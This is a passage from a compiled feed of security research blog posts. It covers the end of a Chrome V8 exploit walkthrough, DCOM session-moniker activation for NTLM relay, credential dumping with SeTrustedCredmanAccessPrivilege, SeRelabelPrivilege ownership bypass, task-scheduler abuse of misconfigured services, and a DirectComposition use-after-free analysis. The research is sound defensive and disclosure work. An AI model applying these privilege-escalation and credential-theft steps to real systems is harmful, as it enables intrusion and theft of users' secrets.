Since the value of x which collected by Ignition is 0, constant folding (0-1=-1) happens here to get the constant 0xFFFFFFFF. After shift left one bit, it is 0xFFFFFFFE, which is stored in Array.length (+0xC). Thus, an out-of-bounds array with a length of 0xFFFFFFFF is obtained.

After the out-of-bounds array is obtained, the next steps are common:
3) Realize addrof/fakeobj with the help of this out-of-bounds array;
4) Fake a JSArray to achieve arbitrary memory read/write primitive wth the help of addrof/fakeobj;

The memory layout of arr and cor in exploit sample is:
avatar

(1) Use the vulnerability to obtain an arr with the length of 0xFFFFFFFF (red box)
(2) Use the out-of-bounds arr and cor to achieve addrof/fakeobj (green box)
(3) Use the out-of-bounds arr to modify the length of cor (yellow box)
(4) Use the out-of-bounds cor, leak the map and properties of the cor (blue box), fake a JSArray, and use this fake JSArray to achieve arbitrary memory read/write primitive

5) Execute shellcode with the help of WebAssembly;
Finally, a memory page with RWX attributes is created with the help of WebAssembly. The shellcode is copied to the memory page, and executed in the end.

The exploitation screenshot:
avatar

References

[1] https://chromium-review.googlesource.com/c/v8/v8/+/2820971
[2] https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js
[3] https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html
[4] https://chromium-review.googlesource.com/c/v8/v8/+/2826114
[5] https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js

Standard Activating Yourself to Greatness

By: tiraniddo
27 April 2021 at 23:45

This week @decoder_it and @splinter_code disclosed a new way of abusing DCOM/RPC NTLM relay attacks to access remote servers. This relied on the fact that if you're in logged in as a user on session 0 (such as through PowerShell remoting) and you call CoGetInstanceFromIStorage the DCOM activator would create the object on the lowest interactive session rather than the session 0. Once an object is created the initial unmarshal of the IStorage object would happen in the context of the user authenticated to that session. If that happens to be a privileged user such as a Domain Administrator then the NTLM authentication could be relayed to a remote server and fun ensues.

The obvious problem with this attack is the requirement of being in session 0. Certainly it's possible a non-admin user might be allowed to authenticate to a system via PowerShell remoting but it'd be rarer than just being authenticated on a Terminal Server with multiple other users you could attack. It'd be nice if somehow you could pick the session that the object was created on.

Of course this already exists, you can use the session moniker to activate an object cross-session (other than to session 0 which is special). I've abused this feature multiple times for cross-session attacks, such as this, this or this. I've repeated told Microsoft they need to fix this activation route as it makes no sense than a non-administrator can do it. But my warnings have not been heeded. 

If you read the description of the session moniker you might notice a problem for us, it can't be combined with IStorage activation. The COM APIs only give us one or the other. However, if you poke around at the DCOM protocol documentation you'll notice that they are technically independent. The session activation is specified by setting the dwSessionId field in the SpecialPropertiesData activation property. And the marshalled IStorage object can be passed in the ifdStg field of the InstanceInfoData activation property. You package those activation properties up and send them to the IRemoteSCMActivator RemoteGetClassObject or RemoteCreateInstance methods. Of course it's possible this won't really work, but at least they are independent properties and could be mixed.

The problem with testing this out is implementing DCOM activation is ugly. The activation properties first need to be NDR marshalled in a blob. They then need to be packaged up correctly before it can be sent to the activator. Also the documentation is only for remote activation which is not we want, and there are some weird quirks of local activation I'm not going to go into. Is there any documented way to access the activator without doing all this?

No, sorry. There is an undocumented way though if you're interested? Sure? Okay good, let's carry on. The key with these sorts of challenges is to just look at how the system already does it. Specifically we can look at how session moniker is activating the object and maybe from that we'll be lucky and we can reuse that for our own purposes.

Where to start? If you read this MSDN article you can see you need to call MkParseDisplayNameEx to create parse the string into a moniker. But that's really a wrapper over MkParseDisplayName to provide URL moniker functionality which we don't care about. We'll just start at the MkParseDisplayName which is in OLE32.

HRESULT MkParseDisplayName(LPBC pbc, LPCOLESTR szUserName, 
      ULONG *pchEaten, LPMONIKER *ppmk) {
  HRESULT hr = FindLUAMoniker(pbc, szUserName, &pcchEaten, &ppmk);
  if (hr == MK_E_UNAVAILABLE) {
    hr = FindSessionMoniker(pbc, szUserName, &pcchEaten, &ppmk);
  }
  // Parse rest of moniker.
}

Almost immediately we see a call to FindSessionMoniker, seems promising. Looking into that function we find what we need.

HRESULT FindSessionMoniker(LPBC pbc, LPCWSTR pszDisplayName, 
                           ULONG *pchEaten, LPMONIKER *ppmk) {
  DWORD dwSessionId = 0;
  BOOL bConsole = FALSE;
  
  if (wcsnicmp(pszDisplayName, L"Session:", 8))
    return MK_E_UNAVAILABLE;
  
  
if (!wcsnicmp(pszDisplayName + 8, L"Console", 7)) {
    dwConsole = TRUE;
    *pcbEaten = 15;
  } else {
    LPWSTR EndPtr;
    dwSessionId = wcstoul(pszDisplayName + 8, &End, 0);
    *pcbEaten = EndPtr - pszDisplayName;
  }

  *ppmk = new CSessionMoniker(dwSessionId, bConsole);
  return S_OK;
}

This code parses out the session moniker data and then creates a new instance of the CSessionMoniker class. Of course this is not doing any activation yet. You don't use the session moniker in isolation, instead you're supposed to build a composite moniker with a new or class moniker. The MkParseDisplayName API will keep parsing the string (which is why pchEaten is updated) and combine each moniker it finds. Therefore, if you have the moniker display name:

Session:3!clsid:0002DF02-0000-0000-C000-000000000046

The API will return a composite moniker consisting of the session moniker for session 3 and the class moniker for CLSID 0002DF02-0000-0000-C000-000000000046 which is the Browser Broker. The example code then calls BindToObject on the composite moniker, which first calls the right most moniker, which is the class moniker.

HRESULT CClassMoniker::BindToObject(LPBC pbc, 
  LPMONIKER pmkToLeft, REFIID riid, void **ppv) {
  if (pmkToLeft) {
      IClassActivator pClassActivator;
      pmkToLeft->BindToObject(pcb, nullptr, 
        IID_IClassActivator, &pClassActivator);
      return pClassActivator->GetClassObject(m_clsid, 
            CLSCTX_SERVER, 0, riid, ppv);

  }
  // ...
}

The pmkToLeft parameter is set by the composite moniker to the left moniker, which is the session moniker. We can see that the class moniker calls the session moniker's BindToObject method requesting an IClassActivator interface. It then calls the GetClassObject method, passing it the CLSID to activate. We're almost there.

HRESULT CSessionMoniker::GetClassObject(
   REFCLSID pClassID, CLSCTX dwClsContext, 
   LCID locale, REFIID riid, void **ppv) {
  IStandardActivator* pActivator;
  CoCreateInstance(&CLSID_ComActivator, NULL, CLSCTX_INPROC_SERVER, 
    IID_IStandardActivator, &pActivator);

 
  ISpecialSystemProperties pSpecialProperties;
  pActivator->QueryInterface(IID_ISpecialSystemProperties, 
      &pSpecialProperties);
  pSpecialProperties->SetSessionId(m_sessionid, m_console, TRUE);
  return pActivator->StandardGetClassObject(pClassId, dwClsContext, 
                                            NULL, riid, ppv);

}

Finally the session moniker creates a new COM activator object with the IStandardActivator interface. It then queries for the ISpecialSystemProperties interface and sets the moniker's session ID and console state. It then calls the StandardGetClassObject method on the IStandardActivator and you should now have a COM server cross-session. None of these interface or the class are officially documented of course (AFAIK).

The $1000 question is, can you also do IStorage activation through the IStandardActivator interface? Poking around in COMBASE for the implementation of the interface you find one of its functions is:

HRESULT StandardGetInstanceFromIStorage(COSERVERINFO* pServerInfo, 
  REFCLSID pclsidOverride, IUnknown* punkOuter, CLSCTX dwClsCtx, 
  IStorage* pstg, int dwCount, MULTI_QI pResults[]);

It seems that the answer is yes. Of course it's possible that you still can't mix the two things up. That's why I wrote a quick and dirty example in C#, which is available here. Seems to work fine. Of course I've not tested it out with the actual vulnerability to see it works in that scenario. That's something for others to do.

Dumping Stored Credentials with SeTrustedCredmanAccessPrivilege

By: tiraniddo
21 May 2021 at 07:03

I've been going through the various token privileges on Windows trying to find where they're used. One which looked interesting is SeTrustedCredmanAccessPrivilege which is documented as "Access Credential Manager as a trusted caller". The Credential Manager allows a user to store credentials, such as web or domain accounts in a central location that only they can access. It's protected using DPAPI so in theory it's only accessible when the user has authenticated to the system. The question is, what does having SeTrustedCredmanAccessPrivilege grant? I couldn't immediately find anyone who'd bothered to document it, so I guess I'll have to do it myself.

The Credential Manager is one of those features that probably sounded great in the design stage, but does introduce security risks, especially if it's used to store privileged domain credentials, such as for remote desktop access. An application, such as the remote desktop client, can store domain credential using the CredWrite API and specifying the username and password in the CREDENTIAL structure. The type of credentials should be set to CRED_TYPE_DOMAIN_PASSWORD.

An application can then access the stored credentials for the current user using APIs such as CredRead or CredEnumerate. However, if the type of credential is CRED_TYPE_DOMAIN_PASSWORD the CredentialBlob field which should contain the password is always empty. This is an artificial restriction put in place by LSASS which implements the credential manager RPC service. If a domain credentials type is being read then it will never return the password.

How does the domain credentials get used if you can't read the password? Security packages such as NTLM/Kerberos/TSSSP which are running within the LSASS process can use an internal API which doesn't restrict the reading of the domain password. Therefore, when you authenticate to the remote desktop service the target name is used to lookup available credentials, if they exist the user will be automatically authenticated.

The credentials are stored in files in the user's profile encrypted with the user's DPAPI key. Why can we not just decrypt the file directly to get the password? When writing the file LSASS sets a system flag in the encrypted blob which makes the DPAPI refuse to decrypt the blob even though it's still under a user's key. Only code running in LSASS can call the DPAPI to decrypt the blob.

If we have administrator privileges getting access the password is trivial. Read the Mimikatz wiki page to understand the various ways that you can use the tool to get access to the credentials. However, it boils down to one of the following approaches:

  1. Patch out the checks in LSASS to not blank the password when read from a normal user.
  2. Inject code into LSASS to decrypt the file or read the credentials.
  3. Just read them from LSASS's memory.
  4. Reimplement DPAPI with knowledge of the user's password to ignore the system flag.
  5. Play games with the domain key backup protocol.
For example, Nirsoft's CredentialsFileView seems to use the injection into LSASS technique to decrypt the DPAPI protected credential files. (Caveat, I've only looked at v1.07 as v1.10 seems to not be available for download anymore, so maybe it's now different. UPDATE: it seems available for download again but Defender thinks it's malware, plus ça change).

At this point you can probably guess that SeTrustedCredmanAccessPrivilege allows a caller to get access to a user's credentials. But how exactly? Looking at LSASRV.DLL which contains the implementation of the Credential Manager the privilege is checked in the function CredpIsRpcClientTrusted. This is only called by two APIs, CredrReadByTokenHandle and CredrBackupCredentials which are exported through the CredReadByTokenHandle and CredBackupCredentials APIs.

The CredReadByTokenHandle API isn't that interesting, it's basically CredRead but allows the user to read from to be specified by providing the user's token. As far as I can tell reading a domain credential still returns a blank password. CredBackupCredentials on the other hand is interesting. It's the API used by CREDWIZ.EXE to backup a user's credentials, which can then be restored at a later time. This backup includes all credentials including domain credentials. The prototype for the API is as follows:

BOOL WINAPI CredBackupCredentials(HANDLE Token, 
                                  LPCWSTR Path, 
                                  PVOID Password, 
                                  DWORD PasswordSize, 
                                  DWORD Flags);

The backup process is slightly convoluted, first you run CREDWIZ on your desktop and select backup and specify the file you want to write the backup to. When you continue with the backup the process makes an RPC call to your WinLogon process with the credentials path which spawns a new copy of CREDWIZ on the secure desktop. At this point you're instructed to use CTRL+ALT+DEL to switch to the secure desktop. Here you type the password, which is used to encrypt the file to protect it at rest, and is needed when the credentials are restored. CREDWIZ will even ensure it meets your system's password policy for complexity, how generous.

CREDWIZ first stores the file to a temporary file, as LSASS encrypts the encrypted contents with the system DPAPI key. The file can be decrypted then written to the final destination, with appropriate impersonation etc.

The only requirement for calling this API is having the SeTrustedCredmanAccessPrivilege privilege enabled. Assuming we're an administrator getting this privilege is easy as we can just borrow a token from another process. For example, checking for what processes have the privilege shows obviously WinLogon but also LSASS itself even though it arguably doesn't need it.

PS> $ts = Get-AccessibleToken
PS> $ts | ? { 
   "SeTrustedCredmanAccessPrivilege" -in $_.ProcessTokenInfo.Privileges.Name 
}
TokenId Access                                  Name
------- ------                                  ----
1A41253 GenericExecute|GenericRead    LsaIso.exe:124
1A41253 GenericExecute|GenericRead     lsass.exe:672
1A41253 GenericExecute|GenericRead winlogon.exe:1052
1A41253 GenericExecute|GenericRead atieclxx.exe:4364

I've literally no idea what the ATIECLXX.EXE process is doing with SeTrustedCredmanAccessPrivilege, it's probably best not to ask ;-)

To use this API to backup a user's credentials as an administrator you do the following. 
  1. Open a WinLogon process for PROCESS_QUERY_LIMITED_INFORMATION access and get a handle to its token with TOKEN_DUPLICATE access.
  2. Duplicate token into an impersonation token, then enable SeTrustedCredmanAccessPrivilege.
  3. Open a token to the target user, who must already be authenticated.
  4. Call CredBackupCredentials while impersonating the WinLogon token passing a path to write to and a NULL password to disable the user encryption (just to make life easier). It's CREDWIZ which enforces the password policy not the API.
  5. While still impersonating open the file and decrypt it using the CryptUnprotectData API, write back out the decrypted data.
If it all goes well you'll have all the of the user's credentials in a packed binary format. I couldn't immediately find anyone documenting it, but people obviously have done before. I'll leave doing all this yourself as a exercise for the reader. I don't feel like providing an implementation.


Why would you do this when there already exists plenty of other options? The main advantage, if you can call it that, it you never touch LSASS and definitely never inject any code into it. This wouldn't be possible anyway if LSASS is running as PPL. You also don't need to access the SECURITY hive to extract DPAPI credentials or know the user's password (assuming they're authenticated of course). About the only slightly suspicious thing is opening WinLogon to get a token, though there might be alternative approaches to get a suitable token.



The Much Misunderstood SeRelabelPrivilege

By: tiraniddo
2 June 2021 at 21:49

Based on my previous blog post I recently had a conversation with a friend and well-known Windows security researcher about token privileges. Specifically, I was musing on how SeTrustedCredmanAccessPrivilege is not a "God" privilege. After some back and forth it seemed we were talking at cross purposes. My concept of a "God" privilege is one which the kernel considers to make a token elevated (see Reading Your Way Around UAC (Part 3)) and so doesn't make it available to any token with an integrity level less than High. They on the other hand consider such a privilege to be one where you can directly compromise a resource or the OS as a whole by having the privilege enabled, this might include privileges which aren't strictly a "God" from the kernel's perspective but can still allow system compromise.

After realizing the misunderstanding I was still surprised that one of the privileges in their list wasn't considering a "God", specifically SeRelabelPrivilege. It seems that there's perhaps some confusion as to what this privilege actually allows you to do, so I thought it'd be worth clearing it up.

Point of pedantry: I don't believe it's correct to say that a resource has an integrity level. It instead has a mandatory label, which is stored in an ACE in the SACL. That ACE contains a SID which maps to an integrity level and an mandatory policy which is stored in the access mask. The combination of integrity level and policy is what determines what access is granted (although you can't grant write up through the policy). The token on the other hand does have an integrity level and a separate mandatory policy, which isn't the same as the one in the ACE. Oddly you specify the value when calling SetTokenInformation using a TOKEN_MANDATORY_LABEL structure, confusing I know.

As with a lot of privileges which don't get used very often the official documentation is not great. You can find the MSDN documentation here. The page is worse than usual as it seems to have been written at a time in the Vista/Longhorn development when the Mandatory Integrity Control (MIC) (or as it calls it Windows Integrity Control (WIC)) feature was still in flux. For example, it mentions an integrity level above System, called Installer. Presumably Installer was the initial idea to block administrators modifying system files, which was replaced by the TrustedInstaller SID as the owner (see previous blog posts). There is a level above System in Vista, called Protected Process, which is not usable as protected processes was implementing using a different mechanism. 

Distilling what the documentation says the privilege does, it allows for two operations. First it allows you to set the integrity level in a mandatory label ACE to be above the caller's token integrity level. Normally as long as you've been granted WRITE_OWNER access to a resource you can set the label's integrity level to any value less than or equal to the caller's integrity level.

For example, if you try to set the resource's label to System, but the caller is only at High then the operation fails with the STATUS_INVALID_LABEL error. If you enable SeRelabelPrivilege then you can set this operation will succeed. 

Note, the privilege doesn't allow you to raise the integrity level of a token, you need SeTcbPrivilege for that. You can't even raise the integrity level to be less than or equal to the caller's integrity level, the operation can only decrease the level in the token without SeTcbPrivilege.

The second operation is that you can decrease the label. In general you can always decrease the label without the privilege, unless the resource's label is above the callers. For example you can set the label to Low without any special privilege, as long as you have WRITE_OWNER access on the handle and the current label is less than or equal to the caller's. However, if the label is System and the caller is High then they can't decrease the label and the privilege is required.

The documentation has this to say (emphasis mine):

"If malicious software is set with an elevated integrity level such as Trusted Installer or System, administrator accounts do not have sufficient integrity levels to delete the program from the system. In that case, use of the Modify an object label right is mandated so that the object can be relabeled. However, the relabeling must occur by using a process that is at the same or a higher level of integrity than the object that you are attempting to relabel."

This is a very confused paragraph. First it indicates that an administrator can't delete resource with Trusted Installer or System integrity labels and so requires the privilege to relabel. And then it says that the process doing the relabeling must be at a greater or equal integrity level to do the relabeling. Which if that is the case you don't need the privilege. Perhaps the original design on mandatory labels was more sticky, as in maybe you always needed SeRelabelPrivilege to reduce the label regardless of its current value?

At any rate the only user that gets SeRelabelPrivilege by default is SYSTEM, which defaults to the System integrity level which is already the maximum allowed level so this behavior of the privilege seems pretty much moot. At any rate as it's a "God" privilege it will be disabled if the token has an integrity level less than High, so this lowering operation is going to be rarely useful.

This leads in to the most misunderstood part which if you squint you might be able to grasp from the privilege's documentation. The ability to lower the label of a resource is mostly dependent on whether the caller can get WRITE_OWNER access to the resource. However, the WRITE_OWNER access right is typically part of GENERIC_ALL in the generic mapping, which means it will never be granted to a caller with a lower integrity level regardless of the DACL or whether they're the owner. 

This is the interesting thing the privilege brings to the lowering operation, it allows the caller to circumvent the MIC check for WRITE_OWNER. This then allows the caller to open for WRITE_OWNER a higher labeled resource and then change the label to any level it likes. This works the same way as SeTakeOwnershipPrivilege, in that it grants WRITE_OWNER without ever checking the DACL. However, if you use SeTakeOwnershipPrivilege it'll still be subject to the MIC check and will not grant access if the label is above the caller's integrity level.

The problem with this privilege is down to the design of MIC, specifically that WRITE_OWNER is overloaded to allow setting the resource's mandatory label but also its traditional use of setting the owner. There's no way for the kernel to distinguish between the two operations once the access has been granted (or at least it doesn't try to distinguish). 

Surely, there is some limitation on what type of resource can be granted WRITE_OWNER access? Nope, it seems that even if the caller does not have any access rights to the resource it will still be granted WRITE_OWNER access. This makes the SeRelabelPrivilege exactly like SeTakeOwnershipPrivilege but with the adding feature of circumventing the MIC check. Summarizing, a token with SeRelabelPrivilege enabled can take ownership of any resource it likes, even one which has a higher label than the caller.

You can of course verify this yourself, here's some PowerShell script using NtObjectManager which you should run as an administrator. The script creates a security descriptor which doesn't grant SYSTEM any access, then tries to request WRITE_OWNER without and with SeRelabelPrivilege.

PS> $sd = New-NtSecurityDescriptor "O:ANG:AND:(A;;GA;;;AN)" -Type Directory
PS> Invoke-NtToken -System {
   Get-NtGrantedAccess -SecurityDescriptor $sd -Access WriteOwner -PassResult
}
Status               Granted Access Privileges
------               -------------- ----------
STATUS_ACCESS_DENIED 0              NONE

PS> Invoke-NtToken -System {
   Enable-NtTokenPrivilege SeRelabelPrivilege
   Get-NtGrantedAccess -SecurityDescriptor $sd -Access WriteOwner -PassResult
}
Status         Granted Access Privileges
------         -------------- ----------
STATUS_SUCCESS WriteOwner     SeRelabelPrivilege

The fact that this behavior is never made explicit is probably why my friend didn't realize its behavior before. This coupled with the privilege's rare usage, only being granted by default to SYSTEM means it's not really a problem in any meaningful sense. It would be interesting to know the design choices which led to the privilege being created, it seems like its role was significantly more important at some point and became almost vestigial during the Vista development process. 

If you've read this far is there any actual useful scenario for this privilege? The only resources which typically have elevated labels are processes and threads. You can already circumvent the MIC check using SeDebugPrivilege. Of course usage of that privilege is probably watched like a hawk, so you could abuse this privilege to get full access to an elevated process, by accessing changing the owner to the caller and lowering the label. Once you're the owner with a low label you can then modify the DACL to grant full access directly without SeDebugPrivilege.

However, as only SYSTEM gets the privilege by default you'd need to impersonate the token, which would probably just allow you to access the process anyway. So mostly it's mostly a useless quirk unless the system you're looking at has granted it to the service accounts which might then open the door slightly to escaping to SYSTEM.

A Little More on the Task Scheduler's Service Account Usage

By: tiraniddo
12 June 2021 at 05:42

Recently I was playing around with a service which was running under a full virtual service account rather than LOCAL SERVICE or NETWORK SERVICE, but it had SeImpersonatePrivilege removed. Looking for a solution I recalled that Andrea Pierini had posted a blog about using virtual service accounts, so I thought I'd look there for inspiration. One thing which was interesting is that he mentioned that a technique abusing the task scheduler found by Clément Labro, which worked for LS or NS, didn't work when using virtual service accounts. I thought I should investigate it further, out of curiosity, and in the process I found an sneaky technique you can use for other purposes.

I've already blogged about the task scheduler's use of service accounts. Specifically in a previous blog post I discussed how you could get the TrustedInstaller group by running a scheduled task using the service SID. As the service SID is the same name as used when you are using a virtual service account it's clear that the problem lies in the way in this functionality is implemented and that it's likely distinct from how LS or NS token's are created.

The core process creation code for the task scheduler in Windows 10 is actually in the Unified Background Process Manager (UBPM) DLL, rather than in the task scheduler itself. A quick look at that DLL we find the following code:

HANDLE UbpmpTokenGetNonInteractiveToken(PSID PrincipalSid) {

  // ...

  if (UbpmUtilsIsServiceSid(PrinicpalSid)) {

    return UbpmpTokenGetServiceAccountToken(PrinicpalSid);

  }

  if (EqualSid(PrinicpalSid, kNetworkService)) {

    Domain = L"NT AUTHORITY";

    User = L"NetworkService";

  } else if (EqualSid(PrinicpalSid, kLocalService)) {

    Domain = L"NT AUTHORITY";

    User = L"LocalService";

  }

  HANDLE Token;

  if (LogonUserExExW(User, Domain, Password, 

    LOGON32_LOGON_SERVICE, 

    LOGON32_PROVIDER_DEFAULT, &Token)) {

    return Token;

  }

  // ...

}


This UbpmpTokenGetNonInteractiveToken function is taking the principal SID from the task registration or passed to RunEx and determining what it represents to get back the token. It checks if the SID is a service SID, by which is means the NT SERVICE\NAME SID we used in the previous blog post. If it is it calls a separate function, UbpmpTokenGetServiceAccountToken to get the service token.

Otherwise if the SID is NS or LS then it specifies the well know names for those SIDs and called LogonUserExEx with the LOGON32_LOGON_SERVICE type. The UbpmpTokenGetServiceAccountToken function does the following:

TOKEN UbpmpTokenGetServiceAccountToken(PSID PrincipalSid) {

  LPCWSTR Name = UbpmUtilsGetAccountNamesFromSid(PrincipalSid);

  SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);

  SC_HANDLE service = OpenService(scm, Name, SERVICE_ALL_ACCESS);

  HANDLE Token;

  GetServiceProcessToken(g_ScheduleServiceHandle, service, &Token);

  return Token;

}

This function gets the name from the service SID, which is the name of the service itself and opens it for all access rights (SERVICE_ALL_ACCESS). If that succeeds then it passes the service handle to an undocumented SCM API, GetServiceProcessToken, which returns the token for the service. Looking at the implementation in SCM this basically uses the exact same code as it would use for creating the token for starting the service. 

This is why there's a distinction between LS/NS and a virtual service account using Clément's technique. If you use LS/NS the task scheduler gets a fresh token from the LSA with no regards to how the service is configured. Therefore the new token has SeImpersonatePrivilege (or what ever else is allowed). However for a virtual service account the service asks the SCM for the service's token, as the SCM knows about what restrictions are in place it honours things like privileges or the SID type. Therefore the returned token will be stripped of SeImpersonatePrivilege again even though it'll technically be a different token to the currently running service.

Why does the task scheduler need some undocumented function to get the service token? As I mentioned in a previous blog post about virtual accounts only the SCM (well technically the first process to claim it's the SCM) is allowed to authenticate a token with a virtual service account. This seems kind of pointless if you ask me as you already need SeTcbPrivilege to create the service token, but it is what it is.

Okay, so now we know why Clément's technique doesn't get you back any privileges. You might now be asking, so what? Well one interesting behavior came from looking at how the task scheduler determines if you're allowed to specify a service SID as a principal. In my blog post of creating a task running as TrustedInstaller I implied it needed administrator access, which is sort of true and sort of not. Let's see the function the task scheduler uses to determine if the caller's allowed to run a task as a specified principal.

BOOL IsPrincipalAllowed(User& principal) {

  RpcAutoImpersonate::RpcAutoImpersonate();

  User caller;

  User::FromImpersonationToken(&caller);

  RpcRevertToSelf();

  if (tsched::IsUserAdmin(caller) || 

      caller.IsLocalSystem(caller)) {

    return TRUE;

  }

  

  if (principal == caller) {

    return TRUE;

  }


  if (principal.IsServiceSid()) {

    LPCWSTR Name = principal.GetAccount();

    RpcAutoImpersonate::RpcAutoImpersonate();

    SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);

    SC_HANDLE service = OpenService(scm, Name, SERVICE_ALL_ACCESS);

    RpcRevertToSelf();

    if (service) {

      return TRUE;

    }

  }

  return FALSE;

}

The IsPrincipalAllowed function first checks if the caller is an administrator or SYSTEM. If it is then any principal is allowed (again not completely true, but good enough). Next it checks if the principal's user SID matches the one we're setting. This is what would allow NS/LS or a virtual service account to specify a task running as their own user account. 


Finally, if the principal is a service SID, then it tries to open the service for full access while impersonating the caller. If that succeeds it allows the service SID to be used as a principal. This behaviour is interesting as it allows for a sneaky way to abuse badly configured services. 


It's a well known check for privilege escalation that you enumerate all local services and see if any of them grant a normal user privileged access rights, mainly SERVICE_CHANGE_CONFIG. This is enough to hijack the service and get arbitrary code running as the service account. A common trick is to change the executable path and restart the service, but this isn't great for a few different reasons.

  1. Changing the executable path could easily be noticed.
  2. You probably want to fix the path back again afterwards, which is just a pain.
  3. If the service is currently running you'll need stop the service, then restart the modified service to get the code execution.
However, as long as your account is granted full access to the service you can use the task scheduler even without being an administrator to get code running as the service's user account, such as SYSTEM, without ever needing to modify the service's configuration directly or stop/start the service. Much more sneaky. Of course this does mean that the token the task runs under might have privileges stripped etc, but that's something which is easy enough to deal with (as long as it's not write restricted).

This is a good lesson on how to never take things on face value. I just assumed the caller would need administrator privileges to set the service account as the principal for a task. But it seems that's not actually required if you dig into the code. Hopefully someone will find it useful.

Footnote: If you read this far, you might also ask, can you get back SeImpersonatePrivilege from a virtual service account or not? Of course, you just use the named pipe trick I described in a previous blog post. Because of the way that the token is created the token stored in the logon session will still have all the assigned privileges. You can extract the token by using the named pipe to your own service, and use that to create a new process and get back all the missing privileges.






Analysis of DirectComposition Binding and Tracker object vulnerability

15 August 2021 at 00:00

DirectComposition introduction

Microsoft DirectComposition is a Windows component that enables high-performance bitmap composition with transforms, effects, and animations. Application developers can use the DirectComposition API to create visually engaging user interfaces that feature rich and fluid animated transitions from one visual to another.[1]

DirectComposition API provides COM interface via dcomp.dll, calls win32kbase.sys through win32u.dll export function, and finally sends data to client program dwm.exe (Desktop Window Manager) through ALPC to complete the graphics rendering operation:
avatar

win32u.dll (Windows 10 1909) provides the following export functions to handle DirectComposition API:
avatar

The three functions related to trigger vulnerability are: NtDCompositionCreateChannel,NtDCompositionProcessChannelBatchBuffer and NtDCompositionCommitChannel:
(1) NtDCompositionCreateChannel creates a channel to communicate with the kernel:

typedef NTSTATUS(*pNtDCompositionCreateChannel)(
	OUT PHANDLE hChannel,
	IN OUT PSIZE_T pSectionSize,
	OUT PVOID* pMappedAddress
	);

(2) NtDCompositionProcessChannelBatchBuffer batches multiple commands:

typedef NTSTATUS(*pNtDCompositionProcessChannelBatchBuffer)(
    IN HANDLE hChannel,
    IN DWORD dwArgStart,
    OUT PDWORD pOutArg1,
    OUT PDWORD pOutArg2
    );

The batched commands are stored in the pMappedAddress memory returned by NtDCompositionCreateChannel. The command list is as follows:

enum DCOMPOSITION_COMMAND_ID
{
	ProcessCommandBufferIterator,
	CreateResource,
	OpenSharedResource,
	ReleaseResource,
	GetAnimationTime,
	CapturePointer,
	OpenSharedResourceHandle,
	SetResourceCallbackId,
	SetResourceIntegerProperty,
	SetResourceFloatProperty,
	SetResourceHandleProperty,
	SetResourceHandleArrayProperty,
	SetResourceBufferProperty,
	SetResourceReferenceProperty,
	SetResourceReferenceArrayProperty,
	SetResourceAnimationProperty,
	SetResourceDeletedNotificationTag,
	AddVisualChild,
	RedirectMouseToHwnd,
	SetVisualInputSink,
	RemoveVisualChild
};

The commands related to trigger vulnerability are: CreateResource, SetResourceBufferProperty, ReleaseResource. The data structure of different commands is different:
avatar

(3) NtDCompositionCommitChannel serializes batch commands and sends them to dwm.exe for rendering through ALPC:

typedef NTSTATUS(*pNtDCompositionCommitChannel)(
	IN HANDLE hChannel,
	OUT PDWORD out1,
	OUT PDWORD out2,
	IN DWORD flag,
	IN HANDLE Object
	);


CInteractionTrackerBindingManagerMarshaler::SetBufferProperty process analysis

First use CreateResource command to create CInteractionTrackerBindingManagerMarshaler resource (ResourceType = 0x59, hereinafter referred to as “Binding”) and CInteractionTrackerMarshaler resource (ResourceType = 0x58, hereinafter referred to as “Tracker”).
Then call the SetResourceBufferProperty command to set the Tracker object to the Binding object’s BufferProperty.
This process is handled by the function CInteractionTrackerBindingManagerMarshaler::SetBufferProperty, which main process is as follows:
avatar

The key steps are as follows:
(1) Check the input buffer subcmd == 0 && bufsize == 0xc
(2) Get Tracker objects tracker1 and tracker2 from channel-> resource_list (+0x38) according to the resourceId in the input buffer
(3) Check whether the types of tracker1 and tracker2 are CInteractionTrackerMarshaler (0x58)
(4) If binding->entry_count (+0x50) > 0, find the matched TrackerEntry from binding->tracker_list (+0x38) according to the handleID of tracker1 and tracker2, then update TrackerEntry->entry_id to the new_entry_id from the input buffer
(5) Otherwise, create a new TrackerEntry structure. If tracker1->binding == NULL || tracker2->binding == NULL, update their binding objects

After SetBufferProperty, a reference relationship between the binding object and the tracker object is as follows:
avatar

When use ReleaseResource command to release the Tracker object, the CInteractionTrackerMarshaler::ReleaseAllReferencescalled function is called. ReleaseAllReferences checks whether the tracker object has a binding object internally:
avatar

If it has:
(1) Call RemoveTrackerBindings. In RemoveTrackerBindings, TrackerEntry.entry_id is set to 0 if the resourceID in tracker_list is equal to the resourceID of the freed tracker. Then call CleanUpListItemsPendingDeletion to delete the TrackerEntry which entry_id=0 in tracker_list:
avatar

(2) Call ReleaseResource to set refcnt of the binding object minus 1.
avatar

(3) tracker->binding (+0x190) = 0

According to the above process, the input command buffer to construct a normal SetBufferProperty process is as follows:
avatar

After SetBufferProperty, the memory layout of binding1 and tacker1, tracker2 objects is as follows:
avatar

After ReleaseResource tracker2, the memory layout of binding1, tacker1, and tracker2 objects is as follows:
avatar

CVE-2020-1381

Retrospective the process of CInteractionTrackerBindingManagerMarshaler::SetBufferProperty, when new_entry_id != 0, a new TrackerEntry structure will be created:
avatar

If tracker1 and tracker2 have been bound to binding1 already, after binding tracker1 and tracker2 to binding2, a new TrackerEntry structure will be created for binding2. Since tracker->binding != NULL at this time, tracker->binding will still save binding1 pointer and will not be updated to binding2 pointer. When the tracker is released, binding2->entry_list will retain the tracker’s dangling pointer.

Construct an input command buffer which can trigger the vulnerability as follows:
avatar

Memory layout after ReleaseResource tracker1:
avatar

It can be seen that after ReleaseResource tracker1, binding2->track_list[0] saves the dangling pointer of tracker1.

CVE-2021-26900

According to analyze the branch of ‘the new_entry_id != 0’, the root cause of CVE-2020-1381 is when creating TrackerEntry, it didn’t check the tracker object which has been bound to the binding object. The patch adds a check for tracker->binding when creating TrackerEntry:
avatar

CVE-2021-26900 is a bypass of the CVE-2020-1381 patch. The key point to bypass the patch is if the condition of tracker->binding==NULL can be constructed after the tracker is bound to the binding object.
The way to bypass is in the ‘update TrackerEntry’ branch:
avatar

When TrackerEntry->entry_id == 0, RemoveBindingManagerReferenceFromTrackerIfNecessary function is called. It checks if entry_id==0 internally, then call SetBindingManagerMarshaler to set tracker->binding=NULL:
avatar

